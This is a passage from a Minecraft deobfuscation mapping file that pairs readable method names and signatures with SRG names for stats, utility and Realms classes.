net/minecraft/stats/StatList/func_180204_a (Lnet/minecraft/item/Item;)Ljava/lang/String; net/minecraft/stats/StatList/func_180204_a (Lnet/minecraft/item/Item;)Ljava/lang/String; +MD: net/minecraft/stats/StatList/replaceAllSimilarBlocks ([Lnet/minecraft/stats/StatBase;)V net/minecraft/stats/StatList/func_75924_a ([Lnet/minecraft/stats/StatBase;)V +MD: net/minecraft/stats/StatList/mergeStatBases ([Lnet/minecraft/stats/StatBase;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)V net/minecraft/stats/StatList/func_151180_a ([Lnet/minecraft/stats/StatBase;Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)V +MD: net/minecraft/stats/StatList/initCraftableStats ()V net/minecraft/stats/StatList/func_75918_d ()V +MD: net/minecraft/stats/StatList/getStatEntityKilledBy (Lnet/minecraft/entity/EntityList$EntityEggInfo;)Lnet/minecraft/stats/StatBase; net/minecraft/stats/StatList/func_151176_b (Lnet/minecraft/entity/EntityList$EntityEggInfo;)Lnet/minecraft/stats/StatBase; +MD: net/minecraft/stats/StatList/initMiningStats ()V net/minecraft/stats/StatList/func_151181_c ()V +MD: net/minecraft/stats/StatList/initStats ()V net/minecraft/stats/StatList/func_75925_c ()V +MD: net/minecraft/stats/StatList/initItemDepleteStats ()V net/minecraft/stats/StatList/func_151179_e ()V +MD: net/minecraft/stats/StatFileWriter/hasAchievementUnlocked (Lnet/minecraft/stats/Achievement;)Z net/minecraft/stats/StatFileWriter/func_77443_a (Lnet/minecraft/stats/Achievement;)Z +MD: net/minecraft/stats/StatFileWriter/readStat (Lnet/minecraft/stats/StatBase;)I net/minecraft/stats/StatFileWriter/func_77444_a (Lnet/minecraft/stats/StatBase;)I +MD: net/minecraft/stats/StatFileWriter/func_150872_a (Lnet/minecraft/stats/StatBase;Lnet/minecraft/util/IJsonSerializable;)Lnet/minecraft/util/IJsonSerializable; net/minecraft/stats/StatFileWriter/func_150872_a (Lnet/minecraft/stats/StatBase;Lnet/minecraft/util/IJsonSerializable;)Lnet/minecraft/util/IJsonSerializable; +MD: net/minecraft/stats/StatFileWriter/unlockAchievement (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V net/minecraft/stats/StatFileWriter/func_150873_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/stats/StatFileWriter/canUnlockAchievement (Lnet/minecraft/stats/Achievement;)Z net/minecraft/stats/StatFileWriter/func_77442_b (Lnet/minecraft/stats/Achievement;)Z +MD: net/minecraft/stats/StatFileWriter/func_150870_b (Lnet/minecraft/stats/StatBase;)Lnet/minecraft/util/IJsonSerializable; net/minecraft/stats/StatFileWriter/func_150870_b (Lnet/minecraft/stats/StatBase;)Lnet/minecraft/util/IJsonSerializable; +MD: net/minecraft/stats/StatFileWriter/increaseStat (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V net/minecraft/stats/StatFileWriter/func_150871_b (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/stats/StatFileWriter/func_150874_c (Lnet/minecraft/stats/Achievement;)I net/minecraft/stats/StatFileWriter/func_150874_c (Lnet/minecraft/stats/Achievement;)I +MD: net/minecraft/util/JsonSerializableSet/getSerializableElement ()Lcom/google/gson/JsonElement; net/minecraft/util/JsonSerializableSet/func_151003_a ()Lcom/google/gson/JsonElement; +MD: net/minecraft/util/JsonSerializableSet/fromJson (Lcom/google/gson/JsonElement;)V net/minecraft/util/JsonSerializableSet/func_152753_a (Lcom/google/gson/JsonElement;)V +MD: net/minecraft/util/JsonSerializableSet/delegate ()Ljava/lang/Object; net/minecraft/util/JsonSerializableSet/delegate ()Ljava/lang/Object; +MD: net/minecraft/util/JsonSerializableSet/delegate ()Ljava/util/Collection; net/minecraft/util/JsonSerializableSet/delegate ()Ljava/util/Collection; +MD: net/minecraft/util/JsonSerializableSet/delegate ()Ljava/util/Set; net/minecraft/util/JsonSerializableSet/delegate ()Ljava/util/Set; +MD: net/minecraft/util/ClassInheritanceMultiMap$1/iterator ()Ljava/util/Iterator; net/minecraft/util/ClassInheritanceMultiMap$1/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/ClassInheritanceMultiMap/createLookup (Ljava/lang/Class;)V net/minecraft/util/ClassInheritanceMultiMap/func_180213_a (Ljava/lang/Class;)V +MD: net/minecraft/util/ClassInheritanceMultiMap/addForClass (Ljava/lang/Object;Ljava/lang/Class;)V net/minecraft/util/ClassInheritanceMultiMap/func_181743_a (Ljava/lang/Object;Ljava/lang/Class;)V +MD: net/minecraft/util/ClassInheritanceMultiMap/access$000 (Lnet/minecraft/util/ClassInheritanceMultiMap;)Ljava/util/Map; net/minecraft/util/ClassInheritanceMultiMap/access$000 (Lnet/minecraft/util/ClassInheritanceMultiMap;)Ljava/util/Map; +MD: net/minecraft/util/ClassInheritanceMultiMap/add (Ljava/lang/Object;)Z net/minecraft/util/ClassInheritanceMultiMap/add (Ljava/lang/Object;)Z +MD: net/minecraft/util/ClassInheritanceMultiMap/initializeClassLookup (Ljava/lang/Class;)Ljava/lang/Class; net/minecraft/util/ClassInheritanceMultiMap/func_181157_b (Ljava/lang/Class;)Ljava/lang/Class; +MD: net/minecraft/util/ClassInheritanceMultiMap/getByClass (Ljava/lang/Class;)Ljava/lang/Iterable; net/minecraft/util/ClassInheritanceMultiMap/func_180215_b (Ljava/lang/Class;)Ljava/lang/Iterable; +MD: net/minecraft/util/ClassInheritanceMultiMap/contains (Ljava/lang/Object;)Z net/minecraft/util/ClassInheritanceMultiMap/contains (Ljava/lang/Object;)Z +MD: net/minecraft/util/ClassInheritanceMultiMap/iterator ()Ljava/util/Iterator; net/minecraft/util/ClassInheritanceMultiMap/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/ClassInheritanceMultiMap/remove (Ljava/lang/Object;)Z net/minecraft/util/ClassInheritanceMultiMap/remove (Ljava/lang/Object;)Z +MD: net/minecraft/util/ClassInheritanceMultiMap/size ()I net/minecraft/util/ClassInheritanceMultiMap/size ()I +MD: net/minecraft/client/ClientBrandRetriever/getClientModName ()Ljava/lang/String; net/minecraft/client/ClientBrandRetriever/getClientModName ()Ljava/lang/String; +MD: net/minecraft/client/main/Main$1/getPasswordAuthentication ()Ljava/net/PasswordAuthentication; net/minecraft/client/main/Main$1/getPasswordAuthentication ()Ljava/net/PasswordAuthentication; +MD: net/minecraft/client/main/Main$2/run ()V net/minecraft/client/main/Main$2/run ()V +MD: net/minecraft/client/main/Main/isNullOrEmpty (Ljava/lang/String;)Z net/minecraft/client/main/Main/func_110121_a (Ljava/lang/String;)Z +MD: net/minecraft/realms/DisconnectedRealmsScreen/buttonClicked (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/realms/DisconnectedRealmsScreen/buttonClicked (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/realms/DisconnectedRealmsScreen/init ()V net/minecraft/realms/DisconnectedRealmsScreen/init ()V +MD: net/minecraft/realms/DisconnectedRealmsScreen/keyPressed (CI)V net/minecraft/realms/DisconnectedRealmsScreen/keyPressed (CI)V +MD: net/minecraft/realms/DisconnectedRealmsScreen/render (IIF)V net/minecraft/realms/DisconnectedRealmsScreen/render (IIF)V +MD: net/minecraft/realms/Realms/adventureId ()I net/minecraft/realms/Realms/adventureId ()I +MD: net/minecraft/realms/Realms/clearResourcePack ()V net/minecraft/realms/Realms/clearResourcePack ()V +MD: net/minecraft/realms/Realms/creativeId ()I net/minecraft/realms/Realms/creativeId ()I +MD: net/minecraft/realms/Realms/currentTimeMillis ()J net/minecraft/realms/Realms/currentTimeMillis ()J +MD: net/minecraft/realms/Realms/downloadResourcePack (Ljava/lang/String;Ljava/lang/String;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/realms/Realms/downloadResourcePack (Ljava/lang/String;Ljava/lang/String;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/realms/Realms/getGameDirectoryPath ()Ljava/lang/String; net/minecraft/realms/Realms/getGameDirectoryPath ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/getName ()Ljava/lang/String; net/minecraft/realms/Realms/getName ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/getProxy ()Ljava/net/Proxy; net/minecraft/realms/Realms/getProxy ()Ljava/net/Proxy; +MD: net/minecraft/realms/Realms/getRealmsNotificationsEnabled ()Z net/minecraft/realms/Realms/getRealmsNotificationsEnabled ()Z +MD: net/minecraft/realms/Realms/getSessionId ()Ljava/lang/String; net/minecraft/realms/Realms/getSessionId ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/getUUID ()Ljava/lang/String; net/minecraft/realms/Realms/getUUID ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/inTitleScreen ()Z net/minecraft/realms/Realms/inTitleScreen ()Z +MD: net/minecraft/realms/Realms/isTouchScreen ()Z net/minecraft/realms/Realms/isTouchScreen ()Z +MD: net/minecraft/realms/Realms/sessionId ()Ljava/lang/String; net/minecraft/realms/Realms/sessionId ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/setConnectedToRealms (Z)V net/minecraft/realms/Realms/setConnectedToRealms (Z)V +MD: net/minecraft/realms/Realms/setScreen (Lnet/minecraft/realms/RealmsScreen;)V net/minecraft/realms/Realms/setScreen (Lnet/minecraft/realms/RealmsScreen;)V +MD: net/minecraft/realms/Realms/spectatorId ()I net/minecraft/realms/Realms/spectatorId ()I +MD: net/minecraft/realms/Realms/survivalId ()I net/minecraft/realms/Realms/survivalId ()I +MD: net/minecraft/realms/Realms/userName ()Ljava/lang/String; net/minecraft/realms/Realms/userName ()Ljava/lang/String; +MD: net/minecraft/realms/Realms/uuidToName (Ljava/lang/String;)Ljava/lang/String; net/minecraft/realms/Realms/uuidToName (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/clearAll ()V net/minecraft/realms/RealmsAnvilLevelStorageSource/clearAll ()V +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/convertLevel (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/convertLevel (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/deleteLevel (Ljava/lang/String;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/deleteLevel (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/getLevelList ()Ljava/util/List; net/minecraft/realms/RealmsAnvilLevelStorageSource/getLevelList ()Ljava/util/List; +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/getName ()Ljava/lang/String; net/minecraft/realms/RealmsAnvilLevelStorageSource/getName ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/isConvertible (Ljava/lang/String;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/isConvertible (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/isNewLevelIdAcceptable (Ljava/lang/String;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/isNewLevelIdAcceptable (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/levelExists (Ljava/lang/String;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/levelExists (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/renameLevel (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/realms/RealmsAnvilLevelStorageSource/renameLevel (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/realms/RealmsAnvilLevelStorageSource/requiresConversion (Ljava/lang/String;)Z net/minecraft/realms/RealmsAnvilLevelStorageSource/requiresConversion (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsBridge/getNotificationScreen (Lnet/minecraft/client/gui/GuiScreen;)Lnet/minecraft/client/gui/GuiScreenRealmsProxy; net/minecraft/realms/RealmsBridge/getNotificationScreen (Lnet/minecraft/client/gui/GuiScreen;)Lnet/minecraft/client/gui/GuiScreenRealmsProxy; +MD: net/minecraft/realms/RealmsBridge/init ()V net/minecraft/realms/RealmsBridge/init ()V +MD: net/minecraft/realms/RealmsBridge/switchToRealms (Lnet/minecraft/client/gui/GuiScreen;)V net/minecraft/realms/RealmsBridge/switchToRealms (Lnet/minecraft/client/gui/GuiScreen;)V +MD: net/minecraft/realms/RealmsBufferBuilder/begin (ILnet/minecraft/client/renderer/vertex/VertexFormat;)V net/minecraft/realms/RealmsBufferBuilder/begin (ILnet/minecraft/client/renderer/vertex/VertexFormat;)V +MD: net/minecraft/realms/RealmsBufferBuilder/clear ()V net/minecraft/realms/RealmsBufferBuilder/clear ()V +MD: net/minecraft/realms/RealmsBufferBuilder/color (FFFF)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/color (FFFF)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/color (IIII)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/color (IIII)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/end ()V net/minecraft/realms/RealmsBufferBuilder/end ()V +MD: net/minecraft/realms/RealmsBufferBuilder/endVertex ()V net/minecraft/realms/RealmsBufferBuilder/endVertex ()V +MD: net/minecraft/realms/RealmsBufferBuilder/faceTex2 (IIII)V net/minecraft/realms/RealmsBufferBuilder/faceTex2 (IIII)V +MD: net/minecraft/realms/RealmsBufferBuilder/faceTint (FFFI)V net/minecraft/realms/RealmsBufferBuilder/faceTint (FFFI)V +MD: net/minecraft/realms/RealmsBufferBuilder/fixupQuadColor (FFF)V net/minecraft/realms/RealmsBufferBuilder/fixupQuadColor (FFF)V +MD: net/minecraft/realms/RealmsBufferBuilder/fixupQuadColor (I)V net/minecraft/realms/RealmsBufferBuilder/fixupQuadColor (I)V +MD: net/minecraft/realms/RealmsBufferBuilder/fixupVertexColor (FFFI)V net/minecraft/realms/RealmsBufferBuilder/fixupVertexColor (FFFI)V +MD: net/minecraft/realms/RealmsBufferBuilder/from (Lnet/minecraft/client/renderer/WorldRenderer;)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/from (Lnet/minecraft/client/renderer/WorldRenderer;)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/getBuffer ()Ljava/nio/ByteBuffer; net/minecraft/realms/RealmsBufferBuilder/getBuffer ()Ljava/nio/ByteBuffer; +MD: net/minecraft/realms/RealmsBufferBuilder/getDrawMode ()I net/minecraft/realms/RealmsBufferBuilder/getDrawMode ()I +MD: net/minecraft/realms/RealmsBufferBuilder/getVertexCount ()I net/minecraft/realms/RealmsBufferBuilder/getVertexCount ()I +MD: net/minecraft/realms/RealmsBufferBuilder/getVertexFormat ()Lnet/minecraft/realms/RealmsVertexFormat; net/minecraft/realms/RealmsBufferBuilder/getVertexFormat ()Lnet/minecraft/realms/RealmsVertexFormat; +MD: net/minecraft/realms/RealmsBufferBuilder/noColor ()V net/minecraft/realms/RealmsBufferBuilder/noColor ()V +MD: net/minecraft/realms/RealmsBufferBuilder/normal (FFF)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/normal (FFF)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/offset (DDD)V net/minecraft/realms/RealmsBufferBuilder/offset (DDD)V +MD: net/minecraft/realms/RealmsBufferBuilder/postNormal (FFF)V net/minecraft/realms/RealmsBufferBuilder/postNormal (FFF)V +MD: net/minecraft/realms/RealmsBufferBuilder/postProcessFacePosition (DDD)V net/minecraft/realms/RealmsBufferBuilder/postProcessFacePosition (DDD)V +MD: net/minecraft/realms/RealmsBufferBuilder/putBulkData ([I)V net/minecraft/realms/RealmsBufferBuilder/putBulkData ([I)V +MD: net/minecraft/realms/RealmsBufferBuilder/restoreState (Lnet/minecraft/client/renderer/WorldRenderer$State;)V net/minecraft/realms/RealmsBufferBuilder/restoreState (Lnet/minecraft/client/renderer/WorldRenderer$State;)V +MD: net/minecraft/realms/RealmsBufferBuilder/sortQuads (FFF)V net/minecraft/realms/RealmsBufferBuilder/sortQuads (FFF)V +MD: net/minecraft/realms/RealmsBufferBuilder/tex (DD)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/tex (DD)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/tex2 (II)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/tex2 (II)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsBufferBuilder/vertex (DDD)Lnet/minecraft/realms/RealmsBufferBuilder; net/minecraft/realms/RealmsBufferBuilder/vertex (DDD)Lnet/minecraft/realms/RealmsBufferBuilder; +MD: net/minecraft/realms/RealmsButton/active ()Z net/minecraft/realms/RealmsButton/active ()Z +MD: net/minecraft/realms/RealmsButton/active (Z)V net/minecraft/realms/RealmsButton/active (Z)V +MD: net/minecraft/realms/RealmsButton/blit (IIIIII)V net/minecraft/realms/RealmsButton/blit (IIIIII)V +MD: net/minecraft/realms/RealmsButton/clicked (II)V net/minecraft/realms/RealmsButton/clicked (II)V +MD: net/minecraft/realms/RealmsButton/getHeight ()I net/minecraft/realms/RealmsButton/getHeight ()I +MD: net/minecraft/realms/RealmsButton/getProxy ()Lnet/minecraft/client/gui/GuiButton; net/minecraft/realms/RealmsButton/getProxy ()Lnet/minecraft/client/gui/GuiButton; +MD: net/minecraft/realms/RealmsButton/getWidth ()I net/minecraft/realms/RealmsButton/getWidth ()I +MD: net/minecraft/realms/RealmsButton/getYImage (Z)I net/minecraft/realms/RealmsButton/getYImage (Z)I +MD: net/minecraft/realms/RealmsButton/id ()I net/minecraft/realms/RealmsButton/id ()I +MD: net/minecraft/realms/RealmsButton/msg (Ljava/lang/String;)V net/minecraft/realms/RealmsButton/msg (Ljava/lang/String;)V +MD: net/minecraft/realms/RealmsButton/released (II)V net/minecraft/realms/RealmsButton/released (II)V +MD: net/minecraft/realms/RealmsButton/render (II)V net/minecraft/realms/RealmsButton/render (II)V +MD: net/minecraft/realms/RealmsButton/renderBg (II)V net/minecraft/realms/RealmsButton/renderBg (II)V +MD: net/minecraft/realms/RealmsButton/y ()I net/minecraft/realms/RealmsButton/y ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/customMouseEvent (IIIFI)V net/minecraft/realms/RealmsClickableScrolledSelectionList/customMouseEvent (IIIFI)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/getItemCount ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/getItemCount ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/getMaxPosition ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/getMaxPosition ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/getScroll ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/getScroll ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/getScrollbarPosition ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/getScrollbarPosition ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/isSelectedItem (I)Z net/minecraft/realms/RealmsClickableScrolledSelectionList/isSelectedItem (I)Z +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/itemClicked (IIIII)V net/minecraft/realms/RealmsClickableScrolledSelectionList/itemClicked (IIIII)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/mouseEvent ()V net/minecraft/realms/RealmsClickableScrolledSelectionList/mouseEvent ()V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/render (IIF)V net/minecraft/realms/RealmsClickableScrolledSelectionList/render (IIF)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/renderBackground ()V net/minecraft/realms/RealmsClickableScrolledSelectionList/renderBackground ()V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/renderItem (IIIIII)V net/minecraft/realms/RealmsClickableScrolledSelectionList/renderItem (IIIIII)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V net/minecraft/realms/RealmsClickableScrolledSelectionList/renderItem (IIIILnet/minecraft/realms/Tezzelator;II)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/renderList (IIII)V net/minecraft/realms/RealmsClickableScrolledSelectionList/renderList (IIII)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/renderSelected (IIILnet/minecraft/realms/Tezzelator;)V net/minecraft/realms/RealmsClickableScrolledSelectionList/renderSelected (IIILnet/minecraft/realms/Tezzelator;)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/scroll (I)V net/minecraft/realms/RealmsClickableScrolledSelectionList/scroll (I)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/selectItem (IZII)V net/minecraft/realms/RealmsClickableScrolledSelectionList/selectItem (IZII)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/setLeftPos (I)V net/minecraft/realms/RealmsClickableScrolledSelectionList/setLeftPos (I)V +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/width ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/width ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/xm ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/xm ()I +MD: net/minecraft/realms/RealmsClickableScrolledSelectionList/ym ()I net/minecraft/realms/RealmsClickableScrolledSelectionList/ym ()I +MD: net/minecraft/realms/RealmsConnect$1/run ()V net/minecraft/realms/RealmsConnect$1/run ()V +MD: net/minecraft/realms/RealmsConnect/abort ()V net/minecraft/realms/RealmsConnect/abort ()V +MD: net/minecraft/realms/RealmsConnect/access$000 (Lnet/minecraft/realms/RealmsConnect;)Z net/minecraft/realms/RealmsConnect/access$000 (Lnet/minecraft/realms/RealmsConnect;)Z +MD: net/minecraft/realms/RealmsConnect/access$100 (Lnet/minecraft/realms/RealmsConnect;)Lnet/minecraft/network/NetworkManager; net/minecraft/realms/RealmsConnect/access$100 (Lnet/minecraft/realms/RealmsConnect;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/realms/RealmsConnect/access$102 (Lnet/minecraft/realms/RealmsConnect;Lnet/minecraft/network/NetworkManager;)Lnet/minecraft/network/NetworkManager; net/minecraft/realms/RealmsConnect/access$102 (Lnet/minecraft/realms/RealmsConnect;Lnet/minecraft/network/NetworkManager;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/realms/RealmsConnect/access$200 (Lnet/minecraft/realms/RealmsConnect;)Lnet/minecraft/realms/RealmsScreen; net/minecraft/realms/RealmsConnect/access$200 (Lnet/minecraft/realms/RealmsConnect;)Lnet/minecraft/realms/RealmsScreen; +MD: net/minecraft/realms/RealmsConnect/access$300 ()Lorg/apache/logging/log4j/Logger; net/minecraft/realms/RealmsConnect/access$300 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/realms/RealmsConnect/connect (Ljava/lang/String;I)V net/minecraft/realms/RealmsConnect/connect (Ljava/lang/String;I)V +MD: net/minecraft/realms/RealmsConnect/tick ()V net/minecraft/realms/RealmsConnect/tick ()V +MD: net/minecraft/realms/RealmsEditBox/getValue ()Ljava/lang/String; net/minecraft/realms/RealmsEditBox/getValue ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsEditBox/isFocused ()Z net/minecraft/realms/RealmsEditBox/isFocused ()Z +MD: net/minecraft/realms/RealmsEditBox/keyPressed (CI)V net/minecraft/realms/RealmsEditBox/keyPressed (CI)V +MD: net/minecraft/realms/RealmsEditBox/mouseClicked (III)V net/minecraft/realms/RealmsEditBox/mouseClicked (III)V +MD: net/minecraft/realms/RealmsEditBox/render ()V net/minecraft/realms/RealmsEditBox/render ()V +MD: net/minecraft/realms/RealmsEditBox/setFocus (Z)V net/minecraft/realms/RealmsEditBox/setFocus (Z)V +MD: net/minecraft/realms/RealmsEditBox/setIsEditable (Z)V net/minecraft/realms/RealmsEditBox/setIsEditable (Z)V +MD: net/minecraft/realms/RealmsEditBox/setMaxLength (I)V net/minecraft/realms/RealmsEditBox/setMaxLength (I)V +MD: net/minecraft/realms/RealmsEditBox/setValue (Ljava/lang/String;)V net/minecraft/realms/RealmsEditBox/setValue (Ljava/lang/String;)V +MD: net/minecraft/realms/RealmsEditBox/tick ()V net/minecraft/realms/RealmsEditBox/tick ()V +MD: net/minecraft/realms/RealmsLevelSummary/compareTo (Lnet/minecraft/world/storage/SaveFormatComparator;)I net/minecraft/realms/RealmsLevelSummary/compareTo (Lnet/minecraft/world/storage/SaveFormatComparator;)I +MD: net/minecraft/realms/RealmsLevelSummary/compareTo (Ljava/lang/Object;)I net/minecraft/realms/RealmsLevelSummary/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/realms/RealmsLevelSummary/compareTo (Lnet/minecraft/realms/RealmsLevelSummary;)I net/minecraft/realms/RealmsLevelSummary/compareTo (Lnet/minecraft/realms/RealmsLevelSummary;)I +MD: net/minecraft/realms/RealmsLevelSummary/getGameMode ()I net/minecraft/realms/RealmsLevelSummary/getGameMode ()I +MD: net/minecraft/realms/RealmsLevelSummary/getLastPlayed ()J net/minecraft/realms/RealmsLevelSummary/getLastPlayed ()J +MD: net/minecraft/realms/RealmsLevelSummary/getLevelId ()Ljava/lang/String; net/minecraft/realms/RealmsLevelSummary/getLevelId ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsLevelSummary/getLevelName ()Ljava/lang/String; net/minecraft/realms/RealmsLevelSummary/getLevelName ()Ljava/lang/String; +MD: net/minecraft/realms/RealmsLevelSummary/getSizeOnDisk ()J net/minecraft/realms/RealmsLevelSummary/getSizeOnDisk ()J +MD: net/minecraft/realms/RealmsLevelSummary/hasCheats ()Z net/minecraft/realms/RealmsLevelSummary/hasCheats ()Z +MD: net/minecraft/realms/RealmsLevelSummary/isHardcore ()Z net/minecraft/realms/RealmsLevelSummary/isHardcore ()Z +MD: net/minecraft/realms/RealmsLevelSummary/isRequiresConversion ()Z net/minecraft/realms/RealmsLevelSummary/isRequiresConversion ()Z +MD: net/minecraft/realms/RealmsMth/abs (F)F net/minecraft/realms/RealmsMth/abs (F)F +MD: net/minecraft/realms/RealmsMth/abs (I)I net/minecraft/realms/RealmsMth/abs (I)I +MD: net/minecraft/realms/RealmsMth/absFloor (D)I net/minecraft/realms/RealmsMth/absFloor (D)I +MD: net/minecraft/realms/RealmsMth/absMax (DD)D net/minecraft/realms/RealmsMth/absMax (DD)D +MD: net/minecraft/realms/RealmsMth/average ([J)D net/minecraft/realms/RealmsMth/average ([J)D +MD: net/minecraft/realms/RealmsMth/ceil (D)I net/minecraft/realms/RealmsMth/ceil (D)I +MD: net/minecraft/realms/RealmsMth/ceil (F)I net/minecraft/realms/RealmsMth/ceil (F)I +MD: net/minecraft/realms/RealmsMth/clamp (DDD)D net/minecraft/realms/RealmsMth/clamp (DDD)D +MD: net/minecraft/realms/RealmsMth/clamp (FFF)F net/minecraft/realms/RealmsMth/clamp (FFF)F +MD: net/minecraft/realms/RealmsMth/clamp (III)I net/minecraft/realms/RealmsMth/clamp (III)I +MD: net/minecraft/realms/RealmsMth/clampedLerp (DDD)D net/minecraft/realms/RealmsMth/clampedLerp (DDD)D +MD: net/minecraft/realms/RealmsMth/cos (F)F net/minecraft/realms/RealmsMth/cos (F)F +MD: net/minecraft/realms/RealmsMth/fastFloor (D)I net/minecraft/realms/RealmsMth/fastFloor (D)I +MD: net/minecraft/realms/RealmsMth/floor (D)I net/minecraft/realms/RealmsMth/floor (D)I +MD: net/minecraft/realms/RealmsMth/floor (F)I net/minecraft/realms/RealmsMth/floor (F)I +MD: net/minecraft/realms/RealmsMth/getDouble (Ljava/lang/String;D)D net/minecraft/realms/RealmsMth/getDouble (Ljava/lang/String;D)D +MD: net/minecraft/realms/RealmsMth/getDouble (Ljava/lang/String;DD)D net/minecraft/realms/RealmsMth/getDouble (Ljava/lang/String;DD)D +MD: net/minecraft/realms/RealmsMth/getInt (Ljava/lang/String;I)I net/minecraft/realms/RealmsMth/getInt (Ljava/lang/String;I)I +MD: net/minecraft/realms/RealmsMth/getInt (Ljava/lang/String;II)I net/minecraft/realms/RealmsMth/getInt (Ljava/lang/String;II)I +MD: net/minecraft/realms/RealmsMth/intFloorDiv (II)I net/minecraft/realms/RealmsMth/intFloorDiv (II)I +MD: net/minecraft/realms/RealmsMth/isEmpty (Ljava/lang/String;)Z net/minecraft/realms/RealmsMth/isEmpty (Ljava/lang/String;)Z +MD: net/minecraft/realms/RealmsMth/lfloor (D)J net/minecraft/realms/RealmsMth/lfloor (D)J +MD: net/minecraft/realms/RealmsMth/log2 (I)I net/minecraft/realms/RealmsMth/log2 (I)I +MD: net/minecraft/realms/RealmsMth/nextDouble (Ljava/util/Random;DD)D net/minecraft/realms/RealmsMth/nextDouble (Ljava/util/Random;DD)D +MD: net/minecraft/realms/RealmsMth/nextFloat (Ljava/util/Random;FF)F net/minecraft/realms/RealmsMth/nextFloat (Ljava/util/Random;FF)F +MD: net/minecraft/realms/RealmsMth/nextInt (Ljava/util/Random;II)I net/minecraft/realms/RealmsMth/nextInt (Ljava/util/Random;II)I +MD: net/minecraft/realms/RealmsMth/roundUp (II)I net/minecraft/realms/RealmsMth/roundUp (II)I +MD: net/minecraft/realms/RealmsMth/sin (F)F 